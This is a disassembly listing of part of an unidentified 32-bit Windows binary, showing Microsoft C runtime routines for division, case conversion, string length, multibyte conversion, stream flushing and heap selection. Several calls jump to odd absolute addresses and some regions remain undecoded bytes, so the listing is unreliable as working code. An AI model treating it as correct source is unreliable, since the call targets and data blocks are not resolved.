		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2690DCCh
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2850000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 9134D1B3h, 0CDFE2F2Eh, 0C022EDEFh, 0A164DD0Eh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0FDE890E8h, 33024A42h,	89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 4A427BE8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024A26h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 79E89056h, 5002282Bh, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2670858h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2690DCCh
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0574h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26E05B4h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28D0000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24C2357h
		dd 0A3C08590h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 24C21D8h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 21BEE890h, 0C085023Bh, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
